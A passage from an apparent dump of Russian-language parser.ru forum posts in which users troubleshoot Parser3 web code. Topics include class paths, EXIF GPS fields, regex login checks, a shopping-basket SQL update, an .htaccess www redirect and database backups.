		<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\
		<link href=\"/css/main.css\" rel=\"stylesheet\" type=\"text/css\" />\
		<link href=\"/css/reset.css\" rel=\"stylesheet\" type=\"text/css\" />\
	</head>\
	\
@menu[]	\
	<ul class=\"header_menu\">\
		<li><a href=\"/\">Главная</a></li>\
		<li><a href=\"#\">О компании</a></li>\
		<li><a href=\"/?module=faq\">FAQ</a></li>\
		<li><a href=\"#\">Прайс-лист</a></li>\
		<li><a href=\"#\">Фотогалерея</a></li>\
		<li><a href=\"#\">Контакты</a></li>\
		^connect[$connect_string]{\
			$menu[^table::sql{select m_name, location from pages where menu=1 order by id}] \
			^menu.menu{ \
				^if('/pages/$menu.location/' eq $request:uri){ \
					<li>$menu.m_name</li>\
				}{ \
					<li><a href=\"/pages/$menu.location/\">$menu.m_name</a></li>\
				} \
			}\
		}\
	</ul>\
\
\
@body[] \
	<body>\
	<div class=\"main\">\
	\
	<div class=\"header\">\
		^menu[]\
	</div>\
	\
	^if(def $form:module){\
		^if($form:module eq 'faq'){\
			^faq_frontend_show[]\
		}{\
			<blockquote>Ошибка<br />Неправильное имя модуля</blockquote>\
		}\
	}{	\
		^body_main[] \
	}\
\
\
@footer[] \
	<div class=\"footer\">some &copy; reserved</div>\
	\
	</div>\
	</body>\
	</html>\
[/code]\
\
но вот свежий пример. По прочитанному http://www.parser.ru/examples/feedback/ решил попробовать. И снова таже проблема. Если полностью следовать тому что как написано, снова таже ошибка что и случае с уроком, но когда методы из Lib.p перенес в сам файл feedback.html все заработало. Насколько я понимаю, по какойто не понятной для меня причине при попытке использовать методы описанные в файлу класса, парсер дает ошибку."
"67525","нет. проверял. \
гдето, или на форуме, или в FAQ читал, что бывают проблемы с лишними пробелами, по этому проверил, нет пробела вконце......"
"67526","удачи вам в подобных начинаниях."
"67527","P.S. вы нормально не поставили [не следовали инструкциям] парсер: CLASS_PATH указываете не там [из-за этого проблема с классами], метод unhandled_exception некорректый и не показывает ошибки [из-за этого проблема с пониманием ошибок]."
"67528","когда проблема в пробельных символах, расположенных в недопустимых местах, это обычно видно из сообщений об ошибках (если они не отключены как в данном случае и их приводят полностью, хотя бы после просьбы сделать это)."
"67529","но вы можете написать себе простой метод/оператор и использовать его. там будет буквально три-четыре строки (сдвинуть на 1 день, а затем создать новый объект/дату на основании полученного, ручками ему задав время равное 00:00:00).\
\
\
про список названий временных зон: в man по вашей ОС. парсер не имеет \"своих\" временных зон, он просто передаёт строку с её названием системной функции. если система эту строку поймёт -- всё сработает.\
\
где брать эти строки для разных систем с их разными настройками -- я не имею понятия, но лично мне реально это ни разу и не требовалось."
"67530","надеюсь правильно на этот раз понял:\
$CLASS_PATH[/classes/]\
надо указывать в auto.p в папке cgi-bin?\
\
[quote]метод unhandled_exception некорректый и не показывает ошибки[/quote]\
а какой корректный..? ^unhandled_exception_debug[$exception;$stack] ? если такой, то где его нужно подключать? в метод main в auto.р который в корне?"
"67532","Добрый день. \
\
Поиском поискал - неищется.\
\
Вобщем, есть вот этот файл http://finadv.ru/IMG_0652.jpg (1.7 метра, осторожненько если что :).\
\
Есть у него в EXIF координаты съемки... Если открыть его какой-нить спец программой для просмотра этих данных, то все нормально смотрится ([b]GPSLongitude, GPSLongitudeRef, GPSLatitude, GPSLatitudeRef[/b]), но парсером координаты я получить не могу...вобще никак.\
\
Если собрать вот такую конструкцию:\
\
[code]\
$tab_keys[^photo.exif._keys[]] \
^tab_keys.sort{$tab_keys.key}		\
^tab_keys.menu{\
	$rab\
}[<br>]\
[/code]\
\
То единственное, что имеет отношение к GPS это \"GPSInfo\", о котором, кстати, нет ни слова в спецификации EXIF (http://exif.org/specifications.html). Зато параметров описанных выше в списке нет...и как их получить абсолютно не ясно...\
\
Заранее спасибо"
"67533","воспользуйтесь"
"67534","Если заявлено, что парсер кушает EXIF, то хотелось бы разобраться, что я делаю неправильно, а не пользоваться чем-то готовым."
"67535","из статьи не совсем понятно что делать, если у меня mysql версии 5\
установка парсера для freebsd 6 вылилась такими проблемами:\
parser3.2.1 - libcrypt.so.3 needed (в системе libcrypt.so.4)\
parser3.2.3 -  \"libstdc++.so.5\" not found\
\
вот такие дела, \
так что просьба о версии для 7ки все еще в силе"
"67536","А если нужно часто сдвигать, то создать отдельный метод, как предложил Миша."
"67537","а это: http://park2.wakwak.com/~tsuruzoh/Computer/Digicams/exif-e.html\
\
там ничего про GPS не было (кроме GPSInfo, что есть указатель на блок с GPS информацией, но самого разбора этой информации нет).\
\
P.S. посмотрел. будет добавлено в следующей версии вместе с ещё несколькими полями."
"67540","Можно ли на данный момент открыть hashfile дважды за один запрос к серверу? Так получилось, что в какой-то момент мне нужно прочитать hashfile, а потом, в другом классе, изменить его содержимое. Передавать ссылку на открытый - не хочется. Пробовал делать release - не помогает: второй раз открыть не удается."
"67542","[b]Upd.[/b] уже не требуется, спасибо\
\
Здравствуйте!\
\
Меня попросили заняться поддержкой одного интернет-проекта, написанного на основе Parser. http://russ-hotel.ru/\
\
К большому сожалению, [видимо] из-за кривизны рук хостера, сайт работает некорректно - все пункты меню дублируются по 2 раза. Совсем недавно сайт работал корректно. Можно предположить, что проблема в двух обращениях к БД или ещё в чем-то элементарном.\
\
Кто сможет взяться за решение данного вопроса? Жду ваших предложений по срокам и стоимости, лучше на vlad19@gmail.com.\
\
Заранее спасибо :)"
"67545","название временной зоны это не просто какая-то строчка.\
\
для каждой из временных зон храняться таблицы перевода времени за долгую их историю. именно по этим таблицам возможно переводить любое (ну, какое описано в них) время из GMT в эту зону и обратно."
"67546","Миша, \
уделите, пожалуйста, несколько минут для ответа на \
http://www.parser.ru/forum/?id=67535"
"67547","- исходных данных мало: ни подробности об OS, ни используемые версии parser3, драйвера, клиентской библиотеки mysql не указаны;\
\
- у нас подобных проблем при использовании парсера из раздела download не возникает (очевидно, что собираем в одном месте, а используем во многих, хотя системы подобны);\
\
- проблем со сборкой я тоже давно не видел (но мы не используем x64), соотв. если и в вашем случае используется [b]не[/b] x64, то ./buildall-* для parser3 и configure+[g]make для драйвера возможно один из простых вариантов решения проблемы;\
\
- скорее всего описанное обсуждалось в форуме (мне искать лень, хотя вот не очень давно moko [url=\"/forum/?id=65727\"]писал про libstdc++[/url], при этом драйвера для 323b собирались в статике, т.е. этой проблемы быть не должно)."
"67548","в инете не смог найти\
именно файл SO, rmp не могу распаковать, доступа нету никуда ("
"67549","1. на dev.mysql.com кроме rpm есть и NON RPM (tar.gz)\
2. 7-zip без проблем распаковывает rpm-ы на win32"
"67551","подсажте как сделать следующую вещь:\
беру из внешнего файла текст\
приходит что-то типа \
<!-- xxxxx -->\
пишу в метод\
<x><![CDATA[^untaint{$file.text}]]></x>\
приходит в xml Все как надо:\
<x><!-- xxxxx --></x>\
\
если делаю вот так:\
<x>^untaint{$file.text}</x>\
то коментарий теряется на ровне формирования xml\
\
теперь надо с помощью xslt получить из\
<x><!-- xxxxx --></x>\
html вида например:\
<h1><!-- xxxxx --></h1>\
что-то как ни кручу коментарий на выходе теряется :(\
\
подскажите как правильно это сделать?"
"67552","А что лежит в этом внешнем файле, кусок xml или JS (например)??\
\
Если не xml, то\
\
парсер:\
[code]<x>^taint[xml][$file.text]</x>[/code]\
xslt:\
[code]<h1>\
	<xsl:value-of select=\"x\" disable-output-escaping=\"yes\" />\
</h1>[/code]"
"67553","во внешнем файле лежит html скорее всего\
сейчас там лежит просто html-коментарий\
<!-- ..... -->\
<x>^taint[xml][$file.text]</x> - не прокатывает :(\
\
это решает проблему <xsl:value-of select=\"x\" disable-output-escaping=\"yes\" />\
\
я почти был близок к цели - вот такое писал, но получал ошибку\
<xsl:text disable-output-escaping=\"yes\"><xsl:value-of select=\"x\" /></xsl:text>\
\
ещё раз спасибо за помощь"
"67556","1. ковырялся в исходниках парсера и смотрел что передаётся\
2. смотрел своими глазами эти самые таблички на freebsd, т.к. тоже хотел иметь единый список для работы с этими зонами. от увиденного неслабо офигел и забил на первоначальные желания :)"
"67559","Требовалось находить картинки в папке, использовался код:\
^file:list[$s_path;^^$form:img^$]. Всё работало прекрасно, пока не появились файлы с названиями типа 2[21].jpg. Естественно, regexp не срабатывал.\
Покопался в справке по taint - сделал так:\
^file:list[$s_path;^^^taint[regex][$form:img]^$] - всё равно не работает. При этом ^file:list[$s_path;^^2\\[21\\]\\.jpg^$] файл находит.\
\
Никак не могу понять, с чем это всё может быть связано. Помогите пожалуйста."
"67560","Установил уже систему SAPE.RU на 3 сайтах. Но [url=\"http://expokamen.ru/\"]этот[/url] сайт мне не подчинился.\
\
/: /home/webadmin/expokamen.ru/html/auto.p(221:14): '404' invalid HTTP response status [http.status]\
\
Ошибку дает вот этот код\
\
[code]\
@usePHP[fileName][path;file]\
$path[$request:uri]\
$path[^path.match[/.*?^$][]{}]\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;$.form[$form:fields]]]\
^untaint{$file.text}\
[/code]\
\
а именно строка $file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;$.form[$form:fields]]]\
\
Как посоветовали ранее (нашел в поиске) проверил этот путь http://$env:SERVER_NAME/$path/$fileName, фа точнее http://expokamen.ru/sape_code.php?pageuri=/ - вроде все нормально, ошибки нет, в коде страницы даже появляется <!--check code-->. И сама система Сапе добавила эту площадку. \
\
Но почему парсер вызывает ошибку не совсем понял."
"67562","как-то криво отображает и сохранет в поля utf8 например греческий текст что-то вроде \"&#921;&#948;&#961;&#973;&#956;&#945;&#964;&#959;&#962;\" - скопировал с греческого сайта\
через веб-форму данные парсером в базу пишутся и выводятся по-гречески, т.е. все нормально. Но когда просматриваешь через front, то видишь ?????? (для подключения к базе ставлю кодировку utf8)\
и через просмотр данных во front-e ввести текст, то парсер уже выводит ?????? для этой записи\
Старый MySQLFront нормально показывает и нормально вводит данные.\
может я не прав?"
"67563","вместо \"&#921;&#948;&#961;&#973;&#956;&#945;&#964;&#959;&#962;\" должны были вставиться буквы типа как тут http://www.gr :)"
"67564","на винде все нормально отрабатывает при этом всякие charecter_set_ переменные на mysql-сервере == utf8\
На линуксовом хостинге там стоит cp1251 :(\
Т.е. может быть новый SQL-Front и более правильно работает.\
Поменять в charecter_set_... cp1251 на utf8 надо просить админов хостинга видимо?\
Хостинг hc.ru - парсер там ставиться без проблем, только их админы уже второй день ищут путь к libmysqlclient.so и думаю ещё два дня будут искать (вчера 50 минут слушал у них музыку в телефоне - двое суппортеров ушли искать и не вернулись:) ) - быстрее оказалось скачать с mysql.com и положить рядом к парсеру."
"67565","- у match появилась новая опция U (в perl подобной опции нет, в php -- есть), которая инвертирует жадность квантификаторов. без неё [по умолчанию] квантификаторы жадные и это отключается символом '?', с ней квантификаторы не жадные, а символ '?' _включает_ её.\
\
- об ошибке о некорректной UTF-8 строке при выполнении match сообщается более вразумительно;\
\
- при выполнении ^image::measure[] теперь достаётся exif информация о GPS, а также некоторые поля, упомянутые в спецификации, но не доставаемые ранее;\
\
- исправлен баг: в фильтре у метода ^file:list[] теперь корректно работает ^taint[regex][]."
"67566","[code]$response:refresh[\
	$.value(0)\
	$.url[http://$env:SERVER_NAME/$path/$fileName]\
][/code]\
нормально откроется?"
"67567","Переходит на http://expokamen.ru///sape_code.php?pageuri=/\
открывается пустая страница, в коде которой только <!-- несколько цифр-->"
"67568","тогда проблема где-то глубже.\
следующий код у меня ошибку не выдает:\
[code]\
@main[]\
^usePHP[sape_code.php?pageuri=/]\
\
\
@usePHP[fileName][path;file]\
$envSERVER_NAME[expokamen.ru]\
$path[/]\
$path[^path.match[/.*?^$][]{}]\
\
$file[^file::load[text;http://$envSERVER_NAME/$path/$fileName;$.form[$form:fields]]]\
$file.text\
[/code]\
\
Может быть проблема 3 слешах после \".ru\"? (хотя и так нормально грузится)"
"67569","Я думал может где теги не закрыл, или с точказапятой конфликт идет, поэтому полностью заменил auto.p на новый этот\
\
[code]\
@main[]\
^usePHP[sape_code.php?pageuri=/]\
\
@usePHP[fileName][path;file]\
$envSERVER_NAME[expokamen.ru]\
$path[/]\
$path[^path.match[/.*?^$][]{}]\
$file[^file::load[text;http://$envSERVER_NAME/$path/$fileName;$.form[$form:fields]]]\
$file.text\
[/code]\
\
Все равно вызывает ошибку /: /home/webadmin/expokamen.ru/html/auto.p(11:14): '404' invalid HTTP response status [http.status]\
\
Хотя этот же код, вставленный на абсолютно посторонние сайты выполняется нормально. Я проверил даже .htaccess\
\
Куда копать глубже я не понимаю."
"67570","1. в последнем вашем коде есть как минимум одна ошибка\
не $envSERVER_NAME а $env:SERVER_NAME\
\
причем в первоначальном посте ее не было.\
\
2. ошибка то недвусмысленная - 404 http-статус ни о чем не говорит?\
заверните свой блок кода в ^try и посмотрите куда реально ломится ваш скрипт и что реально приходит в ответ, примерно так:\
[code]\
@usePHP[fileName][path;file]\
$envSERVER_NAME[expokamen.ru]\
$path[/]\
$path[^path.match[/.*?^$][]{}]\
^try{\
$sFullPath[http://$env:SERVER_NAME/$path/$fileName]\
$file[^file::load[text;$sFullPath;$.form[$form:fields]]]\
$file.text\
}{\
 $exception.handled(1)\
 <div>$sFullPath</div>\
 <div>$file.status</div>\
 <div>$file.text</div>\
 ....\
}[/code]"
"67572","Что значит тот же?\
\
Если вы поменяли свой код на предложенный в п.2 то у вас по определению не может быть того же результата.\
\
Либо вы этого не сделали, либо ошибка у вас в другом месте, не в том куске кода, который вы приводите.\
\
Попробуйте так:\
\
[code]@usePHP[fileName][path;file]\
$path[$request:uri]\
$path[^path.match[/.*?^$][]{}]\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;$.form[$form:fields]$.any-status(1)]]\
^untaint{$file.text}[/code]\
\
хе.. не разглядел, что $envSERVER_NAME - это у вас так переменная называется, жоско :)\
Хороший пример того, как не надо называть переменные"
"67573","Просто, для интереса попробовав ввести в адресной строке не expokamen.ru, а www.expokamen.ru - и все заработало!\
\
И как теперь быть?! Ума не приложу. Сам сайт без этого кода доступен в обоих вариантах обращения."
"67574","Никак не могу сообразить почему данные переданные из формы и сформированные в хеш не обновляются в таблице.\
Хеш формируется и выводится нормально, очевидно проблема с обновлением БД.\
\
Что я не так делаю?\
\
Кусок из обработки\
[code]\
		$now[^date::now[]]\
		$amount[$form:tables.amount]\
		^amount.menu{\
			^connect[$connect_string]{\
				^void:sql{\
				UPDATE \
					baskets\
				SET\
					amount = '$amount.field',\
					dt = '${now.year}.${now.month}.${now.day} ${now.hour}:${now.minute}'\
				WHERE\
					user_id = '$cookie:user'\
				}	\
			}\
		}\
		$response:location[http://^taint[as-is][${env:SERVER_NAME}/menu/?basket=1]]\
	}\
[/dode]\
\
Кусок из формы:\
[code]\
Кол-во: <input name=\"amount\" value=\"^if(def $form:amount) {$form:amount}{$catalog.amount}\" style=\"width:20px^; font-size: 80%^;\">\
[/code]"
"67575","есть регесп через который идет проверка логина на допустимость заданых символов:\
\
[code]@is_login[sLogin]\
$result(^if(def $sLogin && ^sLogin.match[^^[^^\\s][а-яА-Яa-zA-Z0-9-_\\s]{0,30}[^^\\s]^$])[1])[/code]\
\
должны быть допустимы только буквы русского и английского алфавита, а также тире, знак подчеркивания и пробел внутри имени\
\
и\
\
результат проверки будет ложным, если в имени окажутся пробелы вначале или в конце строки или во всей строке любые символы (например: ~!`@#$%^&* и т.д...) кроме разрешенных описанных выше\
\
но\
\
несмотря на то что с пробелами нашаманить получилось, любые другие символы все равно проходят. как это можно цивильно исправить?\
\
Заранее спасибо."
"67576","Всё что угодно может быть. Если по простому, перепешите свой код примерно так:\
\
[code]\
$now[^date::now[]]\
$amount[$form:tables.amount]\
\
^connect[$connect_string]{\
	^amount.menu{\
		$sQuery[\
			UPDATE baskets\
			SET \
				amount = '$amount.field',\
				dt = '${now.year}.${now.month}.${now.day} ${now.hour}:${now.minute}'\
			WHERE\
				user_id = '$cookie:user'\
		]\
		^void:sql{$sQuery}\
\
		$sQuery\
	}	\
}\
^rem{$response:location[http://^taint[as-is][${env:SERVER_NAME}/menu/?basket=1]] временно отключаем}\
[/code]\
\
И выведите результат его на работы в браузер (или сохраните $sQuery в файл -> ^sQuery.save[append;/query.txt]) - проанализируйте какие запросы реально происходят\
Еще есть смысл воспользоваться Мишиными [url=\"http://www.parser.ru/examples/sql/\"]классами[/url] для работы с SQL, там дебаг-методы реализованы уже\
                \
И в самом запросе тут есть чего по переделывать, например из очевидного:\
\
[code]\
user_id = '$cookie:user' [b]->[/b] user_id = '^cookie:user.int(0)'\
\
dt = '${now.year}.${now.month}.${now.day} ${now.hour}:${now.minute}' [b]->[/b] dt = '^now.sql-string[]'\
[/code]"
"67577","Если это у вас не принципиальная позиция, то я бы посоветовал с концевыми пробелами всегда поступать радикально - удалять их, тогда, ваш оператор станет таким (чуть поменял regexp):\
\
[code]\
@is_login[sLogin]\
$sLogin[^sLogin.trim[]]\
$result(def $sLogin && ^sLogin.match[^^[а-яa-z0-9-_\\s]{0,30}^$][i])\
[/code]"
"67578","что бы в случае неправильного ввода результат был ложью"
"67579","некорректно используется '-', который после '9'\
если вы хотите использовать символ '-' в перечислении, то или заэскейпите его или поставьте в начале/конце перечисления.\
\
я присоединяюсь к Maxx-у по поводу откусывания начальных/конечных пробельных символов, при этом если вы работаете _не_ в utf-8, то выражение станет совсем простым: ^^[\\w\\s-]{1,30}^$. при работе в utf (с последней бетой), \\w придётся развернуть, т.к. в неё не входят русские буквы (подробности в доке по PCRE)."
"67580","а вот так не годится?\
[code]@is_login[sLogin]\
$result(def $sLogin && $sLogin eq ^sLogin.trim[] && ^sLogin.match[^^[а-яa-z0-9-_\\s]{0,30}^$][i])[/code]"
"67583","Насколько помню я символ \"-\" - имеет специальное значение только в диапазонах. Т.е. [0-9\\.] - это диапазон от 0 до 9 + точка, а [09-\\.] класс из четырех символов 0,9,- и точка.\
Хотя может и нет, надо в доке посмотреть, гарантированно в любом случае \"-\" можно поставить первым или последним в символьном классе, тогде его эскейпить не нужно.\
\
UPD. Хотя наверное да [9-\\.] тоже можно считать диапазоном.."
"67584","Не уверен, но может быть сделть основным Servername www.expokamen.ru, а домен без www поставиться в качестве алиаса? Или так тоже не работает?"
"67585","'9-_' -- диапазон, включающий в себя весь английский uppercase алфавит, цифры, <, =, > и т.д. (charmap в помощь).\
\
как PCRE обработает конструкцию '0-9-_' в [] я вообще не представляю, по хорошему на её месте я бы матерился.\
\
к чему речь про '.' я не понял."
"67587","Пытаюсь реализовать корзину заказов.\
Таблица с полями id, id пользователя (передается через куки), количество товара, id продукта, дата.\
\
Просто не могу изменить количество товара в таблице.\
Собираю данные через форму:\
[code]\
<input type=\"hidden\" name=\"product\" value=\"$catalog.id\" />\
Количество товара: <input name=\"amount\">													 \
[/code]\
\
Затем запускаю процесс обновления таблицы:\
[code]\
$now[^date::now[]]\
$amount[$form:tables.amount]\
$product[$form:tables.product]\
\
^connect[$connect_string]{\
	^product.menu{\
	^amount.menu{\
		$sQuery[\
			UPDATE baskets\
			SET \
				amount = '$amount.field',\
				dt = '^now.sql-string[]'\
			WHERE\
				user_id = '$cookie:user'\
				AND product_id = '$product.field'\
		]\
		^void:sql{$sQuery}\
\
		$sQuery\
	}\
	}\
[/code]\
\
И все поля получают одинаковое значение. Это и понятно почему, но я не могу понять как мне сопоставить одновременно множество идентификаторов товаров и соответственное им количество товаров.\
Пожалуйста, помогите разобраться.\
Заранее благодарю."
"67598","ну не знаю, скорее всего тут к хостеру вопрос.\
\
но раз уж с \"www\" все работает - проще будет в .htaccess добавить:\
[code]\
RewriteEngine on\
RewriteCond %{HTTP_HOST} ^expokamen.ru$ [NC]\
RewriteCond %{REQUEST_URI} !^/robots\\.txt$\
RewriteRule ^(.*)$ http://www.expokamen.ru/$1 [R=301,L][/code]\
\
хотя \"до истины так и не докопавшись\" -)"
"67599","[code]<input type=\"hidden\" name=\"product\" value=\"$catalog.id\" />\
Количество товара: <input name=\"amount_$catalog.id\">[/code]\
\
[code]$dtNow[^date::now[]]\
$tProduct[$form:tables.product]\
$iUserID(^cookie:user.int(0))\
\
^if($iUserID){\
	^tProduct.menu{\
		$iProductID(^tProduct.field.int(0))\
		$iAmount(^form:[amount_$iProductID].int(0))\
\
		^if($iProductID && $iAmount){\
			$sQuery[\
				UPDATE baskets\
				SET \
					amount = $iAmount,\
					dt = '^dtNow.sql-string[]'\
				WHERE\
					user_id = $iUserID\
					AND product_id = $iProductID\
			]\
			^void:sql{$sQuery}\
		}\
	}\
}[/code]"
"67601","Если кому не жалко, скиньте пожалуйста вашу рабочую версию (с настройками под парсер) FCKEditor`a. Все работает, кроме загрузки фалов и картинок. Пару раз получилось, потом перестало, устал разбираться.\
Буду премного благодарен.\
\
Или могу заплатить за настройку на моем сервере.\
\
ilyas_urg[a]mail.ru"
"67602","Во первых, в запрос для обновления попадают не все значения, а только последнее (меняю количество товара у двух записей - меняется только у второй).\
Во вторых, сам UPDATE, почему-то не выполняется, т.е. в файл для проверки текст запроса записывается, а в БД никаких изменений. При этом SQL-ошибок не выдается.\
\
[code]\
^if(def $form:update){\
$dtNow[^date::now[]]\
$tProduct[$form:tables.product]\
$iUserID(^cookie:user.int(0))\
\
^if($iUserID){\
	^connect[$connect_string]{	\
		^tProduct.menu{\
			$iProductID(^tProduct.field.int(0))\
			$iAmount(^form:[amount_$iProductID].int(0))\
\
			^if($iProductID && $iAmount){\
				$sQuery[\
					UPDATE baskets\
					SET \
						amount = $iAmount,\
						dt = '^dtNow.sql-string[]'\
					WHERE\
						user_id = $iUserID\
						AND product_id = $iProductID\
				]\
				^void:sql{$sQuery}\
			}\
		}\
	}\
	^sQuery.save[append;/query.txt])	\
	}	\
}\
}\
[/code]\
\
[code]\
									<form method=\"post\" action=\"$request:uri\" enctype=\"multipart/form-data\">\
									<input type=\"hidden\" name=\"update\" value=\"update\" />\
										^untaint[as-is]{\
											^catalog.menu{\
													<input type=\"hidden\" name=\"product\" value=\"$catalog.id\" />\
													Количество товара: <input name=\"amount_$catalog.id\">\
}\
}\
																				\
										<input type=\"submit\" name=\"action\" value=\" Пересчитать \"><br>\
										</form>\
[/code]"
"67603","Выслал свой вариант. Как дойдут руки переделаю переименование и удаление файлов как следует. Могу забыть выслать новый вариант, так что вы меня в ICQ нет-нет пинайте."
"67604","[quote]Во первых, в запрос для обновления попадают не все значения, а только последнее (меняю количество товара у двух записей - меняется только у второй).\
[/quote]\
\
В запрос попадают все значения по очереди, там цикл.\
Запросов будет столько, сколько пришло товаров в product-поле формы.\
\
[quote]Во вторых, сам UPDATE, почему-то не выполняется, т.е. в файл для проверки текст запроса записывается, а в БД никаких изменений. При этом SQL-ошибок не выдается.[/quote]\
\
Не выполняться он может ровно по одной причине: не выполняется условие в if.\
\
\
Для чего впихнут «^untaint[as-is]{» не понимаю, а вы?..\
\
\
Разберитесь с кодом, он тривиальный.\
Но вы не понимаете, что он делает и какими данными оперирует, и шаманите."
"67605","На хостинге стоит Directadmin(ОС FreeBSD).\
Есть домен superuser.com. В ОС добавлен пользователь superuser\
Когда virtualhost апача запущен от имени superuser(а оно так должно быть), то парсер не работает, в логах ошибка Premature end of script headers. Но если virtualhost запустить от юзера apache то все пашет. Почему не работает и как заставить работать от нужного пользователя"
"67606","Все условия в ^if выполняются, я просто в прошлом коде не туда сохранение в файл запихнул (внизу исправил).\
\
А «^untaint[as-is\" нужен на самом деле, т.к. я достаю рядом названия товаров <b>$catalog.name</b> (а они могут быть с кавычками и тире), я просто код вырезал.\
\
Ну, то есть вот такой у меня код:\
[code]\
^if(def $form:update){\
$dtNow[^date::now[]]\
$tProduct[$form:tables.product]\
$iUserID(^cookie:user.int(0))\
\
^if($iUserID){\
	^connect[$connect_string]{	\
		^tProduct.menu{\
			$iProductID(^tProduct.field.int(0))\
			$iAmount(^form:[amount_$iProductID].int(0))\
\
			^if($iProductID && $iAmount){\
				$sQuery[\
					UPDATE baskets\
					SET \
						amount = $iAmount,\
						dt = '^dtNow.sql-string[]'\
					WHERE\
						user_id = $iUserID\
						AND product_id = $iProductID\
				]\
				^void:sql{$sQuery}\
^sQuery.save[append;/query.txt])	\
			}\
		}\
	}\
	\
	}	\
}\
}\
\
									<form method=\"post\" action=\"$request:uri\" enctype=\"multipart/form-data\">\
									<input type=\"hidden\" name=\"update\" value=\"update\" />\
										^untaint[as-is]{\
											^catalog.menu{\
<b>$catalog.name</b><br>													<input type=\"hidden\" name=\"product\" value=\"$catalog.id\" />\
													Количество товара: <input name=\"amount_$catalog.id\">\
}\
}\
																				\
										<input type=\"submit\" name=\"action\" value=\" Пересчитать \"><br>\
										</form>\
[/code]\
\
Мне кажеться что все логично и закончено, т.к. данные запроса сохраняются в файл и значения указанные в WHERE правильные. Но данные оказавшиеся в файле в БД, почему-то, не попадают - значит чего-то я не понимаю."
"67607","[quote]Но данные оказавшиеся в файле в БД, почему-то, не попадают - значит чего-то я не понимаю.[/quote]\
\
как проверяете? \
надеюсь после сохранения идёте и делаете отдельный запрос к БД из отдельной тулзы?"
"67609","и если есть, то в нем случайно не про safe mode? если про него, то go to FAQ.\
\
если лога парсера нет, то посмотрите какие лимиты memory/cpu установлены пользователю apache и superuser, возможно при запуске из-под пользователя apache просто не хватает ресурсов и ОС пристреливает процесс."
"67610","[code]$hObjects[^tTable.hash[some_id;$tColumns;$.distinct(1)]][/code]\
если так получилось, что в некоторых строках \"some_id\" == '', то в хеше образуются элементы... э... без ключа :-)\
\
[code]$hObjects[\
  $.[\
    $.examples_example[Not value (void)]\
    $.examples_id[Not value (void)]\
    $.examples_source[Not value (void)]\
    $.examples_href[Not value (void)]\
  ]\
][/code]\
\
Я хотел бы их удалить, т.к. они мне нафиг не упали...\
Но[b] ^hObjects.delete[][/b] этого сделать не может.\
Как быть? Пока придумал только фильтровать таблицу до преобразования в хеш."
"67611","Нет ли у кого нибудь готового класса, позволяющего сделать dump базы данных? \
Или может есть какие-то скрипты, которые парсер может запустить и выполнить dump?\
Просто написание вручную самому у меня получается совсем не универсально, а жестко привязано к определенной структуре БД. Данная функция мне нужна для создания резервной копии в CMS :)"
"67613","Необязательно привязывать к структуре.\
[code]\
$describe[^table::sql{DESCRIBE table}]\
[/code]\
- выдает структуру таблицы.\
А потом\
[code]\
CREATE TABLE table (\
    ^describe.menu{...}\
)\
[/code]"
"67614","С www проблем нет, а вот у домена без www ТИЦ упал с 20 до 0 ((\
\
Попробовал способ Александра (за что ему спасибо), посмотрим, что выйдет."
"67615","Как выполнить команду \"sudo ./mysqldump --add-drop-table --default-character-set=utf8  rabbit2 > /users/andre/backup.sql\" с помощью парсера?"
"67616","создайте файл mysqldump.sh\
[code]#!/bin/sh\
sudo ./mysqldump --add-drop-table --default-character-set=utf8 rabbit2 > /users/andre/backup.sql[/code]\
и запустите его:\
[code]$f[^file::exec[/путь/mysqldump.sh]][/code]"
"67617","Если я делаю такой запрос:\
\
[code]\
^MAIN:pSQL.server{\
  $describe[^table::sql{SHOW TABLES FROM base}]\
}\
[/code]\
\
Токак сделать дальше:\
\
^describe.menu{\
  $describe.{здесь то что???}\
}"
"67618","Так как вы написали вы получите список таблиц в базе данных.\
По каждой из них нужно сделать describe.\
Если много таблиц, я бы сохранил в резервную копию show_tables.cfg и describe_[имя_каждой_таблицы].cfg\
Что-то вроде:\
[code]\
# получаем список таблиц\
$show_tables[^table::sql{SHOW TABLES}]\
^show_tables.save[show_tables.cfg]\
# получаем структуру каждой таблицы\
^show_tables.menu{\
    $describe[^table::sql{DESCRIBE $show_tables.Tables_in_base}]\
    ^describe.save[describe_${show_tables.Tables_in_base}.cfg]\
}\
[/code]\
А при восстановлении из копии:\
[code]\
# загружаем список таблиц\
$show_tables[^table::load[show_tables.cfg]]\
^show_tables.menu{\
#### загружаем структуру каждой таблицы    \
    $describe[^table::load[describe_${show_tables.Tables_in_base}.cfg]]\
    ^describe.menu{\
        ^void:sql{CREATE TABLE (\
            ^describe.menu{...а что тут писать посмотрите в describe.cfg...}\
        )}\
    }\
}\
[/code]\
У меня одна таблица - код попроще"
"67619","у MySQL название этого столбца уже менялось. не факт что перестанет меняться.\
\
ничего не мешает от полученной таблице с описанием взять .columns[] и из полученной таблички с именами столбцой взять название первого столбца:\
\
[code]\
$tCol[^show_tables.columns[]]\
$sColumnName[$tCol.column]\
\
...\
$show_tables.$sColumnName\
...\
[/code]"
"67620","список изменений относительно версии 3.2.3 можно найти в [url=\"/news/\"]разделе новостей[/url].\
\
версия без safe mode \
\
\
список изменений относительно [url=\"/forum/?id=67565\"]последней бета версии[/url] (beta14):\
\
- добавлена опция 'append' у ^таблица.save[append;имя файла]. если файла не существует, то названия столбцов записываются в него, иначе записываются только данные.\
\
- @OPTIONS\\nappend переименована в @OPTIONS\\npartial и изменена логика: чтобы можно было добавлять методы в класс, он должен быть изначально помечен как partial.\
\
- добавлены (и выдаются) новые типы исключений: pcre.execute, date.range, file.execute и file.read."
"67621","Поздравляю, большая работа проделана."
"67622","\"версия без safe mode\" следует читать \"версии без safe mode лежат где обычно\""
"67623","можно попробовать: ^h.sub[$.[][]] и ^h.delete[$sEmpty]\
\
P.S. фильтровать надо подобное ещё на уровне БД: not null, where xyz is not null, where xyz != '' и т.п."
"67624","привет! искренне рад, что парсер продолжает свое развитие, но сейчас пожалел, что не сохранил дистрибутив какой-нибудь древней версии...\
\
раньше, когда я активно пользовался парсером,\
это прекрасно работало...\
\
может быть я все забыл и теперь что-то делаю не так:\
\
[code]\
@main[]\
$d1[^xdoc::create{<doc/>}]\
$d2[^d1.transform[test.xsl]]\
^d2.string[]\
\
@test[param]\
$result[<value/>]\
[/code]\
\
[code]\
<!-- code.xsl -->\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
\
<xsl:template match=\"doc\">\
